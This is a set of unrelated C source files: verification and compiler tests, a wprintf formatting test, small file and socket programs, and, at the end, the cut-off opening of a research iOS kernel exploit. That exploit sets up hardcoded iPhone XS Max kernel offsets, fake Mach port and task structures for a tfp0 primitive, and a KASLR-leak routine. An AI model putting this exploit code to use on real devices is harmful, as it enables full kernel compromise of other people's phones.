== -4.0) || (((x_7 + (-1.0 * _x_x_16)) == -15.0) || (((x_0 + (-1.0 * _x_x_16)) == -2.0) || ((x_4 + (-1.0 * _x_x_16)) == -9.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_17)) <= -12.0) && (((x_21 + (-1.0 * _x_x_17)) <= -11.0) && (((x_19 + (-1.0 * _x_x_17)) <= -2.0) && (((x_18 + (-1.0 * _x_x_17)) <= -13.0) && (((x_17 + (-1.0 * _x_x_17)) <= -5.0) && (((x_16 + (-1.0 * _x_x_17)) <= -3.0) && (((x_14 + (-1.0 * _x_x_17)) <= -12.0) && (((x_11 + (-1.0 * _x_x_17)) <= -13.0) && (((x_10 + (-1.0 * _x_x_17)) <= -19.0) && (((x_8 + (-1.0 * _x_x_17)) <= -17.0) && (((x_3 + (-1.0 * _x_x_17)) <= -3.0) && ((x_7 + (-1.0 * _x_x_17)) <= -20.0)))))))))))) && (((x_23 + (-1.0 * _x_x_17)) == -12.0) || (((x_21 + (-1.0 * _x_x_17)) == -11.0) || (((x_19 + (-1.0 * _x_x_17)) == -2.0) || (((x_18 + (-1.0 * _x_x_17)) == -13.0) || (((x_17 + (-1.0 * _x_x_17)) == -5.0) || (((x_16 + (-1.0 * _x_x_17)) == -3.0) || (((x_14 + (-1.0 * _x_x_17)) == -12.0) || (((x_11 + (-1.0 * _x_x_17)) == -13.0) || (((x_10 + (-1.0 * _x_x_17)) == -19.0) || (((x_8 + (-1.0 * _x_x_17)) == -17.0) || (((x_3 + (-1.0 * _x_x_17)) == -3.0) || ((x_7 + (-1.0 * _x_x_17)) == -20.0)))))))))))))) && ((((x_22 + (-1.0 * _x_x_18)) <= -15.0) && (((x_21 + (-1.0 * _x_x_18)) <= -17.0) && (((x_20 + (-1.0 * _x_x_18)) <= -9.0) && (((x_18 + (-1.0 * _x_x_18)) <= -3.0) && (((x_17 + (-1.0 * _x_x_18)) <= -7.0) && (((x_15 + (-1.0 * _x_x_18)) <= -1.0) && (((x_14 + (-1.0 * _x_x_18)) <= -13.0) && (((x_13 + (-1.0 * _x_x_18)) <= -6.0) && (((x_6 + (-1.0 * _x_x_18)) <= -17.0) && (((x_5 + (-1.0 * _x_x_18)) <= -13.0) && (((x_1 + (-1.0 * _x_x_18)) <= -18.0) && ((x_2 + (-1.0 * _x_x_18)) <= -9.0)))))))))))) && (((x_22 + (-1.0 * _x_x_18)) == -15.0) || (((x_21 + (-1.0 * _x_x_18)) == -17.0) || (((x_20 + (-1.0 * _x_x_18)) == -9.0) || (((x_18 + (-1.0 * _x_x_18)) == -3.0) || (((x_17 + (-1.0 * _x_x_18)) == -7.0) || (((x_15 + (-1.0 * _x_x_18)) == -1.0) || (((x_14 + (-1.0 * _x_x_18)) == -13.0) || (((x_13 + (-1.0 * _x_x_18)) == -6.0) || (((x_6 + (-1.0 * _x_x_18)) == -17.0) || (((x_5 + (-1.0 * _x_x_18)) == -13.0) || (((x_1 + (-1.0 * _x_x_18)) == -18.0) || ((x_2 + (-1.0 * _x_x_18)) == -9.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_19)) <= -12.0) && (((x_22 + (-1.0 * _x_x_19)) <= -12.0) && (((x_21 + (-1.0 * _x_x_19)) <= -9.0) && (((x_19 + (-1.0 * _x_x_19)) <= -20.0) && (((x_17 + (-1.0 * _x_x_19)) <= -6.0) && (((x_16 + (-1.0 * _x_x_19)) <= -18.0) && (((x_15 + (-1.0 * _x_x_19)) <= -1.0) && (((x_14 + (-1.0 * _x_x_19)) <= -15.0) && (((x_11 + (-1.0 * _x_x_19)) <= -10.0) && (((x_5 + (-1.0 * _x_x_19)) <= -16.0) && (((x_1 + (-1.0 * _x_x_19)) <= -2.0) && ((x_4 + (-1.0 * _x_x_19)) <= -20.0)))))))))))) && (((x_23 + (-1.0 * _x_x_19)) == -12.0) || (((x_22 + (-1.0 * _x_x_19)) == -12.0) || (((x_21 + (-1.0 * _x_x_19)) == -9.0) || (((x_19 + (-1.0 * _x_x_19)) == -20.0) || (((x_17 + (-1.0 * _x_x_19)) == -6.0) || (((x_16 + (-1.0 * _x_x_19)) == -18.0) || (((x_15 + (-1.0 * _x_x_19)) == -1.0) || (((x_14 + (-1.0 * _x_x_19)) == -15.0) || (((x_11 + (-1.0 * _x_x_19)) == -10.0) || (((x_5 + (-1.0 * _x_x_19)) == -16.0) || (((x_1 + (-1.0 * _x_x_19)) == -2.0) || ((x_4 + (-1.0 * _x_x_19)) == -20.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_20)) <= -18.0) && (((x_21 + (-1.0 * _x_x_20)) <= -6.0) && (((x_17 + (-1.0 * _x_x_20)) <= -19.0) && (((x_16 + (-1.0 * _x_x_20)) <= -9.0) && (((x_14 + (-1.0 * _x_x_20)) <= -13.0) && (((x_13 + (-1.0 * _x_x_20)) <= -15.0) && (((x_10 + (-1.0 * _x_x_20)) <= -15.0) && (((x_8 + (-1.0 * _x_x_20)) <= -9.0) && (((x_7 + (-1.0 * _x_x_20)) <= -13.0) && (((x_6 + (-1.0 * _x_x_20)) <= -15.0) && (((x_1 + (-1.0 * _x_x_20)) <= -16.0) && ((x_5 + (-1.0 * _x_x_20)) <= -11.0)))))))))))) && (((x_23 + (-1.0 * _x_x_20)) == -18.0) || (((x_21 + (-1.0 * _x_x_20)) == -6.0) || (((x_17 + (-1.0 * _x_x_20)) == -19.0) || (((x_16 + (-1.0 * _x_x_20)) == -9.0) || (((x_14 + (-1.0 * _x_x_20)) == -13.0) || (((x_13 + (-1.0 * _x_x_20)) == -15.0) || (((x_10 + (-1.0 * _x_x_20)) == -15.0) || (((x_8 + (-1.0 * _x_x_20)) == -9.0) || (((x_7 + (-1.0 * _x_x_20)) == -13.0) || (((x_6 + (-1.0 * _x_x_20)) == -15.0) || (((x_1 + (-1.0 * _x_x_20)) == -16.0) || ((x_5 + (-1.0 * _x_x_20)) == -11.0)))))))))))))) && ((((x_17 + (-1.0 * _x_x_21)) <= -18.0) && (((x_15 + (-1.0 * _x_x_21)) <= -17.0) && (((x_14 + (-1.0 * _x_x_21)) <= -6.0) && (((x_12 + (-1.0 * _x_x_21)) <= -20.0) && (((x_11 + (-1.0 * _x_x_21)) <= -10.0) && (((x_10 + (-1.0 * _x_x_21)) <= -10.0) && (((x_9 + (-1.0 * _x_x_21)) <= -16.0) && (((x_8 + (-1.0 * _x_x_21)) <= -8.0) && (((x_7 + (-1.0 * _x_x_21)) <= -16.0) && (((x_5 + (-1.0 * _x_x_21)) <= -8.0) && (((x_1 + (-1.0 * _x_x_21)) <= -9.0) && ((x_2 + (-1.0 * _x_x_21)) <= -14.0)))))))))))) && (((x_17 + (-1.0 * _x_x_21)) == -18.0) || (((x_15 + (-1.0 * _x_x_21)) == -17.0) || (((x_14 + (-1.0 * _x_x_21)) == -6.0) || (((x_12 + (-1.0 * _x_x_21)) == -20.0) || (((x_11 + (-1.0 * _x_x_21)) == -10.0) || (((x_10 + (-1.0 * _x_x_21)) == -10.0) || (((x_9 + (-1.0 * _x_x_21)) == -16.0) || (((x_8 + (-1.0 * _x_x_21)) == -8.0) || (((x_7 + (-1.0 * _x_x_21)) == -16.0) || (((x_5 + (-1.0 * _x_x_21)) == -8.0) || (((x_1 + (-1.0 * _x_x_21)) == -9.0) || ((x_2 + (-1.0 * _x_x_21)) == -14.0)))))))))))))) && ((((x_21 + (-1.0 * _x_x_22)) <= -2.0) && (((x_18 + (-1.0 * _x_x_22)) <= -1.0) && (((x_16 + (-1.0 * _x_x_22)) <= -8.0) && (((x_15 + (-1.0 * _x_x_22)) <= -10.0) && (((x_10 + (-1.0 * _x_x_22)) <= -3.0) && (((x_9 + (-1.0 * _x_x_22)) <= -3.0) && (((x_7 + (-1.0 * _x_x_22)) <= -11.0) && (((x_6 + (-1.0 * _x_x_22)) <= -10.0) && (((x_5 + (-1.0 * _x_x_22)) <= -4.0) && (((x_3 + (-1.0 * _x_x_22)) <= -9.0) && (((x_0 + (-1.0 * _x_x_22)) <= -7.0) && ((x_2 + (-1.0 * _x_x_22)) <= -2.0)))))))))))) && (((x_21 + (-1.0 * _x_x_22)) == -2.0) || (((x_18 + (-1.0 * _x_x_22)) == -1.0) || (((x_16 + (-1.0 * _x_x_22)) == -8.0) || (((x_15 + (-1.0 * _x_x_22)) == -10.0) || (((x_10 + (-1.0 * _x_x_22)) == -3.0) || (((x_9 + (-1.0 * _x_x_22)) == -3.0) || (((x_7 + (-1.0 * _x_x_22)) == -11.0) || (((x_6 + (-1.0 * _x_x_22)) == -10.0) || (((x_5 + (-1.0 * _x_x_22)) == -4.0) || (((x_3 + (-1.0 * _x_x_22)) == -9.0) || (((x_0 + (-1.0 * _x_x_22)) == -7.0) || ((x_2 + (-1.0 * _x_x_22)) == -2.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_23)) <= -7.0) && (((x_19 + (-1.0 * _x_x_23)) <= -17.0) && (((x_16 + (-1.0 * _x_x_23)) <= -13.0) && (((x_12 + (-1.0 * _x_x_23)) <= -13.0) && (((x_11 + (-1.0 * _x_x_23)) <= -2.0) && (((x_10 + (-1.0 * _x_x_23)) <= -7.0) && (((x_9 + (-1.0 * _x_x_23)) <= -17.0) && (((x_8 + (-1.0 * _x_x_23)) <= -4.0) && (((x_5 + (-1.0 * _x_x_23)) <= -20.0) && (((x_4 + (-1.0 * _x_x_23)) <= -17.0) && (((x_0 + (-1.0 * _x_x_23)) <= -18.0) && ((x_1 + (-1.0 * _x_x_23)) <= -10.0)))))))))))) && (((x_23 + (-1.0 * _x_x_23)) == -7.0) || (((x_19 + (-1.0 * _x_x_23)) == -17.0) || (((x_16 + (-1.0 * _x_x_23)) == -13.0) || (((x_12 + (-1.0 * _x_x_23)) == -13.0) || (((x_11 + (-1.0 * _x_x_23)) == -2.0) || (((x_10 + (-1.0 * _x_x_23)) == -7.0) || (((x_9 + (-1.0 * _x_x_23)) == -17.0) || (((x_8 + (-1.0 * _x_x_23)) == -4.0) || (((x_5 + (-1.0 * _x_x_23)) == -20.0) || (((x_4 + (-1.0 * _x_x_23)) == -17.0) || (((x_0 + (-1.0 * _x_x_23)) == -18.0) || ((x_1 + (-1.0 * _x_x_23)) == -10.0)))))))))))))) && ((_EL_X_1796 == _x__EL_X_1793) && ((_EL_X_1798 == ((_x_x_7 + (-1.0 * _x_x_21)) <= -3.0)) && (_EL_X_1793 == (-9.0 <= (_x_x_1 + (-1.0 * _x_x_11)))))));
_EL_X_1796 = _x__EL_X_1796;
_EL_X_1798 = _x__EL_X_1798;
x_15 = _x_x_15;
x_13 = _x_x_13;
x_1 = _x_x_1;
x_18 = _x_x_18;
x_20 = _x_x_20;
x_21 = _x_x_21;
x_0 = _x_x_0;
x_4 = _x_x_4;
_EL_X_1793 = _x__EL_X_1793;
x_5 = _x_x_5;
x_8 = _x_x_8;
x_9 = _x_x_9;
x_10 = _x_x_10;
x_11 = _x_x_11;
x_12 = _x_x_12;
x_16 = _x_x_16;
x_19 = _x_x_19;
x_23 = _x_x_23;
x_14 = _x_x_14;
x_22 = _x_x_22;
x_17 = _x_x_17;
x_2 = _x_x_2;
x_3 = _x_x_3;
x_6 = _x_x_6;
x_7 = _x_x_7;
}
}
|
the_stack_data/154829975.c
|
int
main(void)
{
}
|
the_stack_data/276333.c
|
/* Copyright 2012-2015 Free Software Foundation, Inc.
This file is part of GDB.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
typedef float V __attribute__((vector_size(16)));
static V
foo (V a, V b)
{
return a + b * a;
}
static __attribute__((noinline, noclone)) int
f (void)
{
volatile V a = { 1, 2, 3, 4 };
volatile V b;
b = foo (a, a);
return b[0];
}
static __attribute__((noinline, noclone)) int
g0 (void)
{
return f ();
}
static __attribute__((noinline, noclone)) int
g1 (int p1)
{
return f ();
}
static __attribute__((noinline, noclone)) int
g2 (int p1, int p2)
{
return f ();
}
static __attribute__((noinline, noclone)) int
g3 (int p1, int p2, int p3)
{
return f ();
}
static __attribute__((noinline, noclone)) int
g4 (int p1, int p2, int p3, int p4)
{
return f ();
}
int
main (void)
{
return g0 () + g1 (1) + g2 (1, 2) + g3 (1, 2, 3) + g4 (1, 2, 3, 4);
}
|
the_stack_data/242330084.c
|
/* $OpenBSD: fp.c,v 1.1 2008/09/07 20:36:10 martynas Exp $ */
/*-
* Copyright (c) 2002, 2005 David Schultz <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Test for wprintf() floating point formats.
*/
#include <assert.h>
#include <err.h>
#include <float.h>
#include <math.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <wchar.h>
#define testfmt(result, fmt, ...) \
_testfmt((result), __LINE__, #__VA_ARGS__, fmt, __VA_ARGS__)
void _testfmt(const wchar_t *, int, const char *, const wchar_t *, ...);
void smash_stack(void);
int
main(int argc, char *argv[])
{
/*
* Basic tests of decimal output functionality.
*/
testfmt(L" 1.000000E+00", L"%13E", 1.0);
testfmt(L" 1.000000", L"%13f", 1.0);
testfmt(L" 1", L"%13G", 1.0);
testfmt(L" 1.000000E+00", L"%13LE", 1.0L);
testfmt(L" 1.000000", L"%13Lf", 1.0L);
testfmt(L" 1", L"%13LG", 1.0L);
testfmt(L"2.718282", L"%.*f", -2, 2.7182818);
testfmt(L"1.234568e+06", L"%e", 1234567.8);
testfmt(L"1234567.800000", L"%f", 1234567.8);
testfmt(L"1.23457E+06", L"%G", 1234567.8);
testfmt(L"1.234568e+06", L"%Le", 1234567.8L);
testfmt(L"1234567.800000", L"%Lf", 1234567.8L);
testfmt(L"1.23457E+06", L"%LG", 1234567.8L);
#if (LDBL_MANT_DIG > DBL_MANT_DIG) && !defined(__i386__)
testfmt(L"123456789.864210", L"%Lf", 123456789.8642097531L);
testfmt(L"-1.23457E+08", L"%LG", -123456789.8642097531L);
testfmt(L"123456789.8642097531", L"%.10Lf", 123456789.8642097531L);
testfmt(L" 3.141592653589793238e-4000", L"%L27.18Le",
3.14159265358979323846e-4000L);
#endif /* (LDBL_MANT_DIG > DBL_MANT_DIG) && !defined(__i386__) */
/*
* Infinities and NaNs
*/
#ifdef NAN
testfmt(L"nan", L"%e", NAN);
testfmt(L"NAN", L"%F", NAN);
testfmt(L"nan", L"%g", NAN);
testfmt(L"NAN", L"%LE", (long double)NAN);
testfmt(L" nan", L"%05e", NAN);
#endif /* NAN */
testfmt(L"INF", L"%E", HUGE_VAL);
testfmt(L"-inf", L"%f", -HUGE_VAL);
testfmt(L"+inf", L"%+g", HUGE_VAL);
testfmt(L" inf", L"%4.2Le", HUGE_VALL);
testfmt(L"-inf", L"%Lf", -HUGE_VALL);
testfmt(L" inf", L"%05e", HUGE_VAL);
testfmt(L" -inf", L"%05e", -HUGE_VAL);
/*
* Padding
*/
testfmt(L"0.000000e+00", L"%e", 0.0);
testfmt(L"0.000000", L"%F", (double)0.0);
testfmt(L"0", L"%G", 0.0);
testfmt(L" 0", L"%3.0Lg", 0.0L);
testfmt(L" 0", L"%5.0f", 0.001);
/*
* Precision specifiers
*/
testfmt(L"1.0123e+00", L"%.4e", 1.0123456789);
testfmt(L"1.0123", L"%.4f", 1.0123456789);
testfmt(L"1.012", L"%.4g", 1.0123456789);
testfmt(L"1.2346e-02", L"%.4e", 0.0123456789);
testfmt(L"0.0123", L"%.4f", 0.0123456789);
testfmt(L"0.01235", L"%.4g", 0.0123456789);
/*
* Signed conversions
*/
testfmt(L"+2.500000e-01", L"%+e", 0.25);
testfmt(L"+0.000000", L"%+F", 0.0);
testfmt(L"-1", L"%+g", -1.0);
testfmt(L"-1.000000e+00", L"% e", -1.0);
testfmt(L"+1.000000", L"% +f", 1.0);
testfmt(L" 1", L"% g", 1.0);
testfmt(L" 0", L"% g", 0.0);
/*
* ``Alternate form''
*/
testfmt(L"1.250e+00", L"%#.3e", 1.25);
testfmt(L"123.000000", L"%#f", 123.0);
testfmt(L" 12345.", L"%#7.5g", 12345.0);
testfmt(L" 1.00000", L"%#8g", 1.0);
testfmt(L"0.0", L"%#.2g", 0.0);
/*
* Padding and decimal point placement
*/
testfmt(L"03.2E+00", L"%08.1E", 3.25);
testfmt(L"003.25", L"%06.2F", 3.25);
testfmt(L"0003.25", L"%07.4G", 3.25);
testfmt(L"3.14159e-05", L"%g", 3.14159e-5);
testfmt(L"0.000314159", L"%g", 3.14159e-4);
testfmt(L"3.14159e+06", L"%g", 3.14159e6);
testfmt(L"314159", L"%g", 3.14159e5);
testfmt(L"314159.", L"%#g", 3.14159e5);
testfmt(L" 9.000000e+03", L"%13e", 9000.0);
testfmt(L" 9000.000000", L"%12f", 9000.0);
testfmt(L" 9000", L"%5g", 9000.0);
testfmt(L" 900000.", L"%#8g", 900000.0);
testfmt(L" 9e+06", L"%6g", 9000000.0);
testfmt(L" 9.000000e-04", L"%13e", 0.0009);
testfmt(L" 0.000900", L"%9f", 0.0009);
testfmt(L" 0.0009", L"%7g", 0.0009);
testfmt(L" 9e-05", L"%6g", 0.00009);
testfmt(L" 9.00000e-05", L"%#12g", 0.00009);
testfmt(L" 9.e-05", L"%#7.1g", 0.00009);
testfmt(L" 0.0", L"%4.1f", 0.0);
testfmt(L"90.0", L"%4.1f", 90.0);
testfmt(L" 100", L"%4.0f", 100.0);
testfmt(L"9.0e+01", L"%4.1e", 90.0);
testfmt(L"1e+02", L"%4.0e", 100.0);
/*
* Hexadecimal floating point (%a, %A) tests. Some of these
* are only valid if the implementation converts to hex digits
* on nibble boundaries.
*/
testfmt(L"0x0p+0", L"%a", 0x0.0p0);
testfmt(L"0X0.P+0", L"%#LA", 0x0.0p0L);
#ifdef NAN
testfmt(L"inf", L"%La", (long double)INFINITY);
testfmt(L"+INF", L"%+A", INFINITY);
testfmt(L"nan", L"%La", (long double)NAN);
testfmt(L"NAN", L"%A", NAN);
#endif /* NAN */
testfmt(L" 0x1.23p+0", L"%10a", 0x1.23p0);
testfmt(L" 0x1.23p-500", L"%12a", 0x1.23p-500);
testfmt(L" 0x1.2p+40", L"%10.1a", 0x1.23p40);
testfmt(L" 0X1.230000000000000000000000P-4", L"%32.24A", 0x1.23p-4);
testfmt(L"0x1p-1074", L"%a", 0x1p-1074);
testfmt(L"0x1.2345p-1024", L"%a", 0x1.2345p-1024);
return (0);
}
void
smash_stack(void)
{
static uint32_t junk = 0xdeadbeef;
uint32_t buf[512];
int i;
for (i = 0; i < sizeof(buf) / sizeof(buf[0]); i++)
buf[i] = junk;
}
void
_testfmt(const wchar_t *result, int line, const char *argstr, const wchar_t *fmt,...)
{
wchar_t s[100];
va_list ap;
va_start(ap, fmt);
smash_stack();
vswprintf(s, sizeof(s), fmt, ap);
if (wcscmp(result, s) != 0) {
fprintf(stderr,
"%d: printf(\"%s\", %s) ==> [%s], expected [%s]\n",
line, (char*)fmt, argstr, s, result);
abort();
}
}
|
the_stack_data/3262978.c
|
/* bug #250 - Array size compile-time optimization stops halfway */
#include <stdlib.h>
#define LZO_MAX(a,b) ((a) >= (b) ? (a) : (b))
unsigned char c[2*4];
unsigned char b[2*LZO_MAX(8,sizeof(int))]; // this will not compile
int main(void)
{
/* FIXME: add some runtime check */
return EXIT_SUCCESS;
}
|
the_stack_data/118652.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char remove[30] = "located";
char new_name[30];
FILE *pf_old, *pf_new;
char elem[30];
pf_old = fopen("um6p.txt", "r");
printf("entrer le nom du nouveau fichier: ");
scanf("%s", new_name);
pf_new = fopen(new_name, "w");
while (!feof(pf_old))
{
fscanf(pf_old, "%s", elem);
if (strcmp(elem, remove))
{
fprintf(pf_new, "%s ", elem);
}
}
fclose(pf_old);
fclose(pf_new);
return 0;
}
|
the_stack_data/296675.c
|
/* clientTcp.c - Quadratic equation client
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
/* error code */
extern int errno;
/* connection port */
int port;
int main(int argc, char *argv[])
{
int sd; // socket descriptor
struct sockaddr_in server; // socket descriptor
char msg[100]; // client response
/* exist all arguments in line? */
if (argc != 3)
{
printf("Sintax: %s <server_address> <port>\n", argv[0]);
return -1;
}
/* assign port */
port = atoi(argv[2]);
/* create socket */
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket() error.\n");
return errno;
}
/* init struct for next connection with server */
/* socket family */
server.sin_family = AF_INET;
/* server IP address */
server.sin_addr.s_addr = inet_addr(argv[1]);
/* connection port */
server.sin_port = htons(port);
/* connect to server */
if (connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1)
{
perror("[client] connect() error.\n");
return errno;
}
/* message read (a)*/
bzero(msg, 100);
printf("[client] Equation model: ax^2+bx+c=0\n");
printf("[client] Type value for a: ");
fflush(stdout);
read(0, msg, 100);
/* send message to server */
if (write(sd, msg, 100) <= 0)
{
perror("[client] Error on write() to server.\n");
return errno;
}
/* message read(b) */
bzero(msg, 100);
printf("[client] Type value for b: ");
fflush(stdout);
read(0, msg, 100);
/* send message to server */
if (write(sd, msg, 100) <= 0)
{
perror("[client] Error on write() to server.\n");
return errno;
}
/* message read(c) */
bzero(msg, 100);
printf("[client] Type value for c: ");
fflush(stdout);
read(0, msg, 100);
/* send message to server */
if (write(sd, msg, 100) <= 0)
{
perror("[client] Error on write() to server.\n");
return errno;
}
/* read message from server */
if (read(sd, msg, 100) < 0)
{
perror("[client] read() error from server.\n");
return errno;
}
/* print message */
printf("[client] Received message: %s\n", msg);
/* close connection */
close(sd);
}
|
the_stack_data/97013460.c
|
#if __arm64e__
//
// pac_kernel.c
// [ ZecOps.com Task-For-Pwn 0 - TFP0 Submission on PAC Devices ]
// [ Agentless, Automated, DFIR Investigations ]
// [ Find Attackers' Mistakes ]
// [ For additional Task-For-Pwn-0 submissions visit https://blog.zecops.com/vulnerabilities/what-does-checkm8-mean-for-ios-dfir-and-freethesandbox/ ]
// Created by bb on 11/13/19.
// Copyright © 2019 bb. All rights reserved.
// Use on your own devices, at your own risk. Released for research purposes only. We will take no responsibility for this POC.
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <mach/semaphore.h>
#include <mach/mach_traps.h>
#include <pthread/pthread.h>
#include <IOSurface/IOSurfaceRef.h>
#include "IOKitLib.h"
#include <dirent.h>
#include <mach-o/dyld.h>
#include <common.h>
// ---------- Hardcoded Kernel offsets
//iPhone XS Max 12.4.1
uint64_t HARDCODED_kernel_base = 0xfffffff007004000;
uint64_t HARDCODED_infoleak_addr = 0xfffffff009169000;
uint64_t HARDCODED_kernel_map = 0xfffffff0091697a0; // via jtool2
uint64_t HARDCODED_ipc_space_kernel = 0xFFFFFFF009145240; // locate task_suspend symbol via jtool2, then look it up on IDA
uint64_t Predict_kalloc_ADDRESS = 0xffffffe011500000; // For spray purpose
uint64_t HARDCODED_allproc = 0xfffffff00918bde8;
uint32_t HARDCODED_proc_p_id = 0x60;
// ----------
#pragma mark - Kernel Exploitation - Expose Previous Definitions
extern void Reply_notify_completion(void);
extern void Map_file_intoMem(void);
extern mach_vm_address_t mapEnd;
extern int cow_fd;
extern uint32_t cowmemlen;
extern char *Get_tempfile1_path(void);
extern void Reply_notify_completion(void);
extern void Send_overwritting_iosurfaceMap(uint64_t our_data_addr, uint64_t our_data_len, uint64_t remote_map_addr);
extern void Send_exit_msg(void);
extern mach_port_t midi_bsport;
extern uint64_t PACSupport_addMask(uint64_t data_ptr, uint32_t mask);
extern uint64_t PACSupport_pacdza(uint64_t data_ptr);
extern uint64_t PACSupport_paciza(uint64_t code_ptr);
extern uint64_t PACSupport_pacia(uint64_t code_ptr, uint64_t modifier);
#define OF(offset) (offset)/sizeof(uint64_t)
#define IO_BITS_PORT_INFO 0x0000f000
#define IO_BITS_KOTYPE 0x00000fff
#define IO_BITS_OTYPE 0x7fff0000
#define IO_BITS_ACTIVE 0x80000000
#define IKOT_NONE 0
#define IKOT_THREAD 1
#define IKOT_TASK 2
#define IKOT_HOST 3
#define IKOT_HOST_PRIV 4
#define IKOT_PROCESSOR 5
#define IKOT_PSET 6
#define IKOT_PSET_NAME 7
#define IKOT_TIMER 8
#define IKOT_PAGING_REQUEST 9
#define IKOT_MIG 10
#define IKOT_MEMORY_OBJECT 11
#define IKOT_XMM_PAGER 12
#define IKOT_XMM_KERNEL 13
#define IKOT_XMM_REPLY 14
#define IKOT_UND_REPLY 15
#define IKOT_HOST_NOTIFY 16
#define IKOT_HOST_SECURITY 17
#define IKOT_LEDGER 18
#define IKOT_MASTER_DEVICE 19
#define IKOT_TASK_NAME 20
#define IKOT_SUBSYSTEM 21
#define IKOT_IO_DONE_QUEUE 22
#define IKOT_SEMAPHORE 23
#define IKOT_LOCK_SET 24
#define IKOT_CLOCK 25
#define IKOT_CLOCK_CTRL 26
#define IKOT_IOKIT_SPARE 27
#define IKOT_NAMED_ENTRY 28
#define IKOT_IOKIT_CONNECT 29
#define IKOT_IOKIT_OBJECT 30
#define IKOT_UPL 31
#define IKOT_MEM_OBJ_CONTROL 32
#define IKOT_AU_SESSIONPORT 33
#define IKOT_FILEPORT 34
#define IKOT_LABELH 35
#define IKOT_TASK_RESUME 36
volatile struct ipc_port {
uint32_t ip_bits;
uint32_t ip_references;
struct {
uint64_t data;
uint64_t type;
} ip_lock; // spinlock
struct {
struct {
struct {
uint32_t flags;
uint32_t waitq_interlock;
uint64_t waitq_set_id;
uint64_t waitq_prepost_id;
struct {
uint64_t next;
uint64_t prev;
} waitq_queue;
} waitq;
uint64_t messages;
uint32_t seqno;
uint32_t receiver_name;
uint16_t msgcount;
uint16_t qlimit;
uint32_t pad;
} port;
uint64_t klist;
} ip_messages;
uint64_t ip_receiver;
uint64_t ip_kobject;
uint64_t ip_nsrequest;
uint64_t ip_pdrequest;
uint64_t ip_requests;
uint64_t ip_premsg;
uint64_t ip_context;
uint32_t ip_flags;
uint32_t ip_mscount;
uint32_t ip_srights;
uint32_t ip_sorights;
};
volatile struct task
{
struct {
uint64_t data;
uint32_t reserved : 24,
type : 8;
uint32_t pad;
} lock; // mutex lock
uint32_t ref_count;
uint32_t active;
uint32_t halting;
uint32_t pad;
uint64_t map;
};
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollection = 0x80000000U,
kOSSerializeMagic = 0x000000d3U,
};
/*
In order to construct a functional TFP0:
kernel_space_addr needs be in the fakeport stru
kernel_map_addr needs be in the faketask stru
*/
uint64_t kernel_map_addr = 0;
uint64_t kernel_space_addr = 0;
mach_port_t tfp0_port = 0;
uint64_t kaslr = 0;
uint64_t leaked_ourTaskPort_addr = 0;
uint64_t leaked_MIDIServerPort_addr = 0;
#define SPRAY_ADDRESS 0x29f000000
void *cowmem = NULL;
void IOConnectMapMemory_test_kaslr(io_connect_t ioconn){
mach_vm_address_t map_addr = 0;
mach_vm_size_t map_size = 0;
kern_return_t kr;
kr = IOConnectMapMemory64(ioconn, 0, mach_task_self(), &map_addr, &map_size, kIOMapAnywhere);
if(kr){
LOG("Error: IOConnectMapMemory64(0x%x))\n", kr);
}
uint32_t search = 0xfffffff0; // Constant value of Kernel code segment higher 32bit addr
uint64_t _tmpv = map_addr;
size_t remainsize = map_size;
while((_tmpv = (uint64_t)memmem((const void*)_tmpv, remainsize, &search, 4))){
#pragma mark HOW_TO_DEFEAT_KASLR
/*
How to ontain infoleak address by testing:
If you don't have saved infoleak address, you need to uncomment this line:
kaslr = 0x100;
